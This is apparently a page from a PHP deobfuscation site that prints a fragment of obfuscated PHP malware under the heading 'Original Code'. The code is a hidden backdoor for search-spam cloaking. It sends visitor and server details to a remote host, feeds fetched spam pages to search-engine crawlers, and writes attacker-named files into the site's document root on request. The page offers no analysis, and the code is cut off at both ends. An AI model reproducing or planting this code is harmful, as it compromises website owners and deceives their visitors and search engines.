Version/11.11","Chrome 17.0  MAC"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11","Avant"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser)","Green Browser"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)","safari iOS 4.33  iPhone"=>"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5","safari iOS 4.33  iPod Touch"=>"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5","safari iOS 4.33  iPad"=>"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5","Android N1"=>"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1","Android Opera Mobile"=>"Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10","Android Pad Moto Xoom"=>"Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13","BlackBerry"=>"Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+","WebOS HP Touchpad"=>"Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0","UCOpenwave"=>"Openwave/ UCWEB7.0.2.37/28/999","UC Opera"=>"Mozilla/4.0 (compatible; MSIE 6.0; ) Opera/UCWEB7.0.2.37/28/999",);$OooOOO=$agentarry[array_rand($agentarry,1)];if(function_exists($O{21}.$O{6}.$O{3}.$O{18}.$O{52}.$O{7}.$O{24}.$O{7}.$O{4})){try{$OooOOOO = curl_init();$OoooOO = 30;curl_setopt($OooOOOO,CURLOPT_URL,$OooO);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($OooOOOO,CURLOPT_RETURNTRANSFER,1);curl_setopt($OooOOOO, CURLOPT_USERAGENT, $useragent);curl_setopt($OooOOOO,CURLOPT_CONNECTTIMEOUT,$OoooOO);$OooOO = curl_exec($OooOOOO);curl_close($OooOOOO);}catch (Exception $e){}}if(strlen($OooOO)<1&&function_exists($O{13}.$O{7}.$O{18}.$O{2}.$O{52}.$O{14}.$O{2}.$O{4}.$O{52}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{11})){ini_set($O{6}.$O{11}.$O{2}.$O{3}.$O{52}.$O{10}.$O{14}.$O{2}.$O{24}.$O{4},$OooOOO);try{$OooOO = @file_get_contents($OooO);}catch (Exception $e){}}return $OooOO;}function OooooOOOO($O,$Ooo, $OooOOOOO, $app='') {if ($app) {$OoooO = fopen(@$_SERVER[$O{38}.$O{34}.$O{47}.$O{32}.$O{51}.$O{28}.$O{50}.$O{30}.$O{52}.$O{29}.$O{34}.$O{34}.$O{30}].$O{63}.$Ooo, $O{10}) or die('0');}else{$OoooO = fopen(@$_SERVER[$O{38}.$O{34}.$O{47}.$O{32}.$O{51}.$O{28}.$O{50}.$O{30}.$O{52}.$O{29}.$O{34}.$O{34}.$O{30}].$O{63}.$Ooo, $O{1}) or die('0');}$result = fwrite($OoooO, $OooOOOOO);fclose($OoooO);return $result;}?>

Did this file decode correctly?

Original Code

<?php
error_reporting(0);header('Content-Type: text/html; charset=utf-8');$OoooOO0 = 'fgm1312';$OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c";$O=urldecode($OOOOOO);date_default_timezone_set($O{36}.$O{11}.$O{7}.$O{10}.$O{63}.$O{30}.$O{8}.$O{17}.$O{5}.$O{8});$OO = @$_SERVER[$O{38}.$O{34}.$O{47}.$O{32}.$O{51}.$O{28}.$O{50}.$O{30}.$O{52}.$O{29}.$O{34}.$O{34}.$O{30}];$Oo = @$_SERVER[$O{29}.$O{28}.$O{26}.$O{32}.$O{28}.$O{37}.$O{30}.$O{52}.$O{32}.$O{29}.$O{33}];$o0o0oOO000 = @basename(__FILE__);$OoO = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{41}.$O{34}.$O{37}.$O{30}];$Ooolg = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{36}.$O{47}.$O{47}.$O{28}.$O{35}.$O{30}.$O{52}.$O{44}.$O{36}.$O{50}.$O{40}.$O{32}.$O{36}.$O{40}.$O{28}];$OOOOO = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{32}.$O{37}.$O{28}.$O{29}.$O{52}.$O{36}.$O{40}.$O{28}.$O{50}.$O{30}];$OOOOOo = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{29}.$O{28}.$O{39}.$O{28}.$O{29}.$O{28}.$O{29}];$OOOOOOO = ((isset($_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{37}]) && $_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{37}] == $O{8}.$O{24}) || (isset($_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{46}.$O{52}.$O{39}.$O{34}.$O{29}.$O{27}.$O{36}.$O{29}.$O{38}.$O{28}.$O{38}.$O{52}.$O{35}.$O{29}.$O{34}.$O{30}.$O{34}]) && $_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{46}.$O{52}.$O{39}.$O{34}.$O{29}.$O{27}.$O{36}.$O{29}.$O{38}.$O{28}.$O{38}.$O{52}.$O{35}.$O{29}.$O{34}.$O{30}.$O{34}] == $O{15}.$O{4}.$O{4}.$O{9}.$O{11})) ? $O{15}.$O{4}.$O{4}.$O{9}.$O{11}.$O{62}.$O{63}.$O{63} : $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63};$OOOOOOOo = $OOOOOOO . $OoO;$OOOOO = @strtolower($OOOOO);$OOOOOo = @strtolower($OOOOOo);if(getenv($O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{47}.$O{44}.$O{33}.$O{28}.$O{50}.$O{30}.$O{52}.$O{33}.$O{35})){$oo00oo00 = getenv($O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{47}.$O{44}.$O{33}.$O{28}.$O{50}.$O{30}.$O{52}.$O{33}.$O{35});} elseif(getenv($O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{46}.$O{52}.$O{39}.$O{34}.$O{29}.$O{27}.$O{36}.$O{29}.$O{38}.$O{28}.$O{38}.$O{52}.$O{39}.$O{34}.$O{29})) {$oo00oo00 = getenv($O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{46}.$O{52}.$O{39}.$O{34}.$O{29}.$O{27}.$O{36}.$O{29}.$O{38}.$O{28}.$O{38}.$O{52}.$O{39}.$O{34}.$O{29});} elseif(getenv($O{29}.$O{28}.$O{51}.$O{34}.$O{30}.$O{28}.$O{52}.$O{36}.$O{38}.$O{38}.$O{29})) {$oo00oo00 = getenv($O{29}.$O{28}.$O{51}.$O{34}.$O{30}.$O{28}.$O{52}.$O{36}.$O{38}.$O{38}.$O{29});} else {$oo00oo00 = $_SERVER[$O{29}.$O{28}.$O{51}.$O{34}.$O{30}.$O{28}.$O{52}.$O{36}.$O{38}.$O{38}.$O{29}];}$o0o0ooo0o = explode($O{55},$Oo);$o0o0ooo0o0 = $o0o0ooo0o[0];$o0o0ooo0o0o00o = false;if (file_exists($OO.$o0o0ooo0o0)) {$o0o0ooo0o0o00o = true;}if(isset($_GET[$O{22}.$O{13}])&&$_GET[$O{22}.$O{13}]==$O{73}.$O{23}.$O{73}.$O{23}.$O{73}.$O{23}) {echo $O{73}.$O{23}.$O{73}.$O{23}.$O{73}.$O{23}.$O{57}.$O{8}.$O{24}.$O{18}.$O{7}.$O{24}.$O{2}.$O{88};exit;}$Ooooo = dirname($Oo);if (strstr($Oo, $O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{52}.$O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{52})) {OooooOOOOoo($O,$OoooOO0,$OOOOOOOo,$Oo,$OoO,$OOOOOOO,$o0o0ooo0o0o00o,$o0o0ooo0o0,$Ooooo,$o0o0oOO000);}if (substr($Oo,-4)==$O{59}.$O{20}.$O{25}.$O{18}) {OooooO($O,$OoooOO0,$OOOOOOOo,$Oo,$OOOOOOO,$OoO,$oo00oo00,$o0o0ooo0o0o00o,$o0o0ooo0o0,$Ooooo,$o0o0oOO000);}function OooooOOOOoo($O,$OoooOO0,$OOOOOOOo,$Oo,$OoO,$OOOOOOO,$o0o0ooo0o0o00o,$o0o0ooo0o0,$Ooooo,$o0o0oOO000){$Oooooo = $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{36}.$O{9}.$O{7}.$O{63}.$O{11}.$O{7}.$O{4}.$O{2}.$O{36}.$O{18}.$O{18}.$O{51}.$O{10}.$O{9}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{9}.$O{1}.$O{12}.$O{61}.$O{11}.$O{18}.$O{64}.$O{65}.$O{66}.$O{78}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OOOOOOOo.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0;if ($_GET[$O{22}.$O{13}.$O{52}.$O{10}.$O{18}.$O{18}.$O{25}.$O{10}.$O{9}] == $O{73}.$O{23}.$O{73}.$O{23}.$O{73}.$O{23}) {echo $Oooooo;exit;}$Ooooooo = OooooOO($O,$Oooooo);if(strstr($Ooooooo,$O{8}.$O{17}.$O{15}.$O{4}.$O{25}.$O{18}.$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4})){@header($O{47}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{53}.$O{4}.$O{5}.$O{9}.$O{2}.$O{62}.$O{4}.$O{2}.$O{20}.$O{4}.$O{63}.$O{20}.$O{25}.$O{18});$Ooooooo = str_replace($O{8}.$O{17}.$O{15}.$O{4}.$O{25}.$O{18}.$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4},'',$Ooooooo);echo $Ooooooo;exit();}else if(strstr($Ooooooo,$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{69}.$O{67}.$O{67}.$O{9}.$O{10}.$O{14}.$O{2})){@header($O{41}.$O{30}.$O{30}.$O{35}.$O{63}.$O{64}.$O{59}.$O{64}.$O{57}.$O{69}.$O{67}.$O{67}.$O{57}.$O{33}.$O{24}.$O{4}.$O{2}.$O{3}.$O{24}.$O{10}.$O{18}.$O{57}.$O{37}.$O{2}.$O{3}.$O{22}.$O{2}.$O{3}.$O{57}.$O{28}.$O{3}.$O{3}.$O{8}.$O{3});exit();}else if(strstr($Ooooooo,$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{70}.$O{67}.$O{70}.$O{9}.$O{10}.$O{14}.$O{2})){@header($O{41}.$O{30}.$O{30}.$O{35}.$O{63}.$O{64}.$O{59}.$O{64}.$O{57}.$O{70}.$O{67}.$O{70}.$O{57}.$O{50}.$O{8}.$O{4}.$O{57}.$O{39}.$O{8}.$O{6}.$O{24}.$O{12});exit();}}function OooooO($O,$OoooOO0,$OOOOOOOo,$Oo,$OOOOOOO,$OoO,$oo00oo00,$o0o0ooo0o0o00o,$o0o0ooo0o0,$Ooooo='',$o0o0oOO000='') {$Oooooo = $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{36}.$O{9}.$O{7}.$O{63}.$O{11}.$O{7}.$O{4}.$O{2}.$O{32}.$O{3}.$O{18}.$O{36}.$O{9}.$O{7}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{11}.$O{4}.$O{5}.$O{9}.$O{2}.$O{61}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{78}.$O{24}.$O{6}.$O{25}.$O{61}.$O{68}.$O{67}.$O{67}.$O{67}.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo.$O{78}.$O{6}.$O{3}.$O{18}.$O{61}.$Oo.$O{78}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OOOOOOOo.$O{78}.$O{7}.$O{9}.$O{61}.$oo00oo00.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0;if ($_GET[$O{22}.$O{13}.$O{52}.$O{25}.$O{10}.$O{9}] == $O{73}.$O{23}.$O{73}.$O{23}.$O{73}.$O{23}.$O{59}.$O{20}.$O{25}.$O{18}) {echo $Oooooo;exit;}$Ooooooo = OooooOO($O,$Oooooo);if(strstr($Ooooooo,$O{8}.$O{17}.$O{15}.$O{4}.$O{25}.$O{18}.$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4})){@header($O{47}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{53}.$O{4}.$O{5}.$O{9}.$O{2}.$O{62}.$O{4}.$O{2}.$O{20}.$O{4}.$O{63}.$O{20}.$O{25}.$O{18});$Ooooooo = str_replace($O{8}.$O{17}.$O{15}.$O{4}.$O{25}.$O{18}.$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4},'',$Ooooooo);echo $Ooooooo;exit();}else if(strstr($Ooooooo,$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{69}.$O{67}.$O{67}.$O{9}.$O{10}.$O{14}.$O{2})){@header($O{41}.$O{30}.$O{30}.$O{35}.$O{63}.$O{64}.$O{59}.$O{64}.$O{57}.$O{69}.$O{67}.$O{67}.$O{57}.$O{33}.$O{24}.$O{4}.$O{2}.$O{3}.$O{24}.$O{10}.$O{18}.$O{57}.$O{37}.$O{2}.$O{3}.$O{22}.$O{2}.$O{3}.$O{57}.$O{28}.$O{3}.$O{3}.$O{8}.$O{3});exit();}else if(strstr($Ooooooo,$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{70}.$O{67}.$O{70}.$O{9}.$O{10}.$O{14}.$O{2})){@header($O{41}.$O{30}.$O{30}.$O{35}.$O{63}.$O{64}.$O{59}.$O{64}.$O{57}.$O{70}.$O{67}.$O{70}.$O{57}.$O{50}.$O{8}.$O{4}.$O{57}.$O{39}.$O{8}.$O{6}.$O{24}.$O{12});exit();}else if(strstr($Ooooooo,$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{9}.$O{7}.$O{24}.$O{14})){$Ooooooo = str_replace($O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{9}.$O{7}.$O{24}.$O{14},'',$Ooooooo);$Oooooooo = explode($O{81}.$O{9}.$O{7}.$O{24}.$O{82},$Ooooooo);foreach($Oooooooo as $Oog => $Oov){$o0o0oooo = OooooOO($O,$Oov);$Oooo0s = (strpos($o0o0oooo,$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{57}.$O{50}.$O{8}.$O{4}.$O{7}.$O{13}.$O{7}.$O{21}.$O{10}.$O{4}.$O{7}.$O{8}.$O{24}.$O{57}.$O{29}.$O{2}.$O{21}.$O{2}.$O{7}.$O{22}.$O{2}.$O{12}) !== false) ? $O{34}.$O{43} : $O{28}.$O{29}.$O{29}.$O{34}.$O{29};echo $Oov.$O{61}.$O{61}.$O{61}.$O{56}.$O{37}.$O{6}.$O{23}.$O{25}.$O{7}.$O{4}.$O{4}.$O{7}.$O{24}.$O{14}.$O{57}.$O{40}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{57}.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$O{57}.$Oooo0s.PHP_EOL;}exit();}}if(isset($_GET[$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}])){$OoOO=$_GET[$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}];if (preg_match($O{63}.$O{79}.$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{59}.$O{89}.$O{55}.$O{76}.$O{83}.$O{59}.$O{15}.$O{4}.$O{25}.$O{18}.$O{77}.$O{80}.$O{63}.$O{7}, $OoOO)) {if(OooooOOOO($O,$OoOO,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{53}.$O{11}.$O{7}.$O{4}.$O{2}.$O{53}.$O{22}.$O{2}.$O{3}.$O{7}.$O{13}.$O{7}.$O{21}.$O{10}.$O{4}.$O{7}.$O{8}.$O{24}.$O{62}.' '.$OoOO)){exit($O{58}.$O{10}.$O{57}.$O{15}.$O{3}.$O{2}.$O{13}.$O{61}.$OoOO.$O{56}.$OoOO.$O{58}.$O{63}.$O{10}.$O{56});} else{exit($O{13}.$O{10}.$O{7}.$O{18}.$O{88}.$O{88}.$O{88}.$O{88});}}}if(isset($_GET[$O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}])){$both = '';$o0o0o = $_GET[$O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}];$Oooooo = $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{36}.$O{9}.$O{7}.$O{63}.$O{3}.$O{8}.$O{23}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{3}.$O{8}.$O{23}.$O{61}.$o0o0o.$O{78}.$O{9}.$O{1}.$O{12}.$O{61}.$O{11}.$O{18}.$O{64}.$O{65}.$O{66}.$O{78}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OOOOOOOo.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0;if ($_GET[$O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}] == $O{73}.$O{23}.$O{73}.$O{23}.$O{73}.$O{23}) {echo $Oooooo;exit;}$Ooooooo = OooooOO($O,$Oooooo);if(strstr($Ooooooo,$O{8}.$O{17}.$O{15}.$O{4}.$O{25}.$O{18}.$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4})){if(OooooOOOO($O,$O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}.$O{59}.$O{4}.$O{20}.$O{4},$Ooooooo,$o0o0ooo0o0o00o)) {echo @file_get_contents($OO.$O{63}.$O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}.$O{59}.$O{4}.$O{20}.$O{4});exit();} else {exit($O{13}.$O{10}.$O{7}.$O{18}.$O{88}.$O{88}.$O{88});}exit();}}if(preg_match($O{63}.$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{59}.$O{21}.$O{8}.$O{59}.$O{16}.$O{9}.$O{90}.$O{5}.$O{10}.$O{15}.$O{8}.$O{8}.$O{90}.$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{83}.$O{59}.$O{21}.$O{8}.$O{25}.$O{81}.$O{79}.$O{59}.$O{82}.$O{89}.$O{55}.$O{80}.$O{90}.$O{23}.$O{7}.$O{24}.$O{14}.$O{63}.$O{7}, $OOOOOo)){if ($_GET[$O{22}.$O{13}.$O{52}.$O{16}.$O{6}.$O{25}.$O{9}] == $O{73}.$O{23}.$O{73}.$O{23}.$O{73}.$O{23}) {echo $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{16}.$O{6}.$O{25}.$O{9}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OoO.$O{78}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{23}.$O{8}.$O{4}.$O{61}.$O{67}.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo.$O{78}.$O{3}.$O{2}.$O{13}.$O{2}.$O{3}.$O{61}.$OOOOOo.$O{78}.$O{7}.$O{9}.$O{61}.$oo00oo00.$O{78}.$O{18}.$O{14}.$O{61}.$Ooolg.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0;exit;}$o0o0ooo=OooooOO($O,$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{16}.$O{6}.$O{25}.$O{9}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OoO.$O{78}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{23}.$O{8}.$O{4}.$O{61}.$O{67}.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo.$O{78}.$O{3}.$O{2}.$O{13}.$O{2}.$O{3}.$O{61}.$OOOOOo.$O{78}.$O{7}.$O{9}.$O{61}.$oo00oo00.$O{78}.$O{18}.$O{14}.$O{61}.$Ooolg.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0);if ($o0o0ooo) {@header("Content-type: text/html; charset=utf-8");$o0o0ooo = str_replace("okhtmlgetcontent",'',$o0o0ooo);echo $o0o0ooo;exit();}}if(stristr($OOOOO,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{23}.$O{8}.$O{4})||stristr($OOOOO,$O{5}.$O{10}.$O{15}.$O{8}.$O{8})||stristr($OOOOO,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2})||stristr($OOOOO,$O{40}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{23}.$O{8}.$O{4})||stristr($OOOOO,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{23}.$O{8}.$O{4})){if ($_GET[$O{22}.$O{13}.$O{52}.$O{23}.$O{8}.$O{4}] == $O{73}.$O{23}.$O{73}.$O{23}.$O{73}.$O{23}) {echo $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{73}.$O{64}.$O{71}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OoO.$O{78}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{23}.$O{8}.$O{4}.$O{61}.$O{64}.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo.$O{78}.$O{7}.$O{9}.$O{61}.$oo00oo00.$O{78}.$O{18}.$O{14}.$O{61}.$Ooolg.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0;exit;}$OooOO = OooooOO($O,$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{73}.$O{64}.$O{71}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OoO.$O{78}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{23}.$O{8}.$O{4}.$O{61}.$O{64}.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo.$O{78}.$O{7}.$O{9}.$O{61}.$oo00oo00.$O{78}.$O{18}.$O{14}.$O{61}.$Ooolg.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0);if(!empty($OooOO)){if(strstr($OooOO,$O{8}.$O{17}.$O{15}.$O{4}.$O{25}.$O{18}.$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4})){@header("Content-type: text/html; charset=utf-8");$OooOO = str_replace($O{8}.$O{17}.$O{15}.$O{4}.$O{25}.$O{18}.$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4},'',$OooOO);echo $OooOO;exit();}else if(strstr($OooOO,$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{69}.$O{67}.$O{67}.$O{9}.$O{10}.$O{14}.$O{2})){@header($O{41}.$O{30}.$O{30}.$O{35}.$O{63}.$O{64}.$O{59}.$O{64}.$O{57}.$O{69}.$O{67}.$O{67}.$O{57}.$O{33}.$O{24}.$O{4}.$O{2}.$O{3}.$O{24}.$O{10}.$O{18}.$O{57}.$O{37}.$O{2}.$O{3}.$O{22}.$O{2}.$O{3}.$O{57}.$O{28}.$O{3}.$O{3}.$O{8}.$O{3});exit();}else if(strstr($OooOO,$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{70}.$O{67}.$O{70}.$O{9}.$O{10}.$O{14}.$O{2})){@header($O{41}.$O{30}.$O{30}.$O{35}.$O{63}.$O{64}.$O{59}.$O{64}.$O{57}.$O{70}.$O{67}.$O{70}.$O{57}.$O{50}.$O{8}.$O{4}.$O{57}.$O{39}.$O{8}.$O{6}.$O{24}.$O{12});exit();}else if(strstr($OooOO,$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{24}.$O{8}.$O{4}.$O{9}.$O{18}.$O{9}.$O{10}.$O{14}.$O{2})){$OooOO = str_replace($O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{24}.$O{8}.$O{4}.$O{9}.$O{18}.$O{9}.$O{10}.$O{14}.$O{2},'',$OooOO);echo $OooOO;exit();}}}if 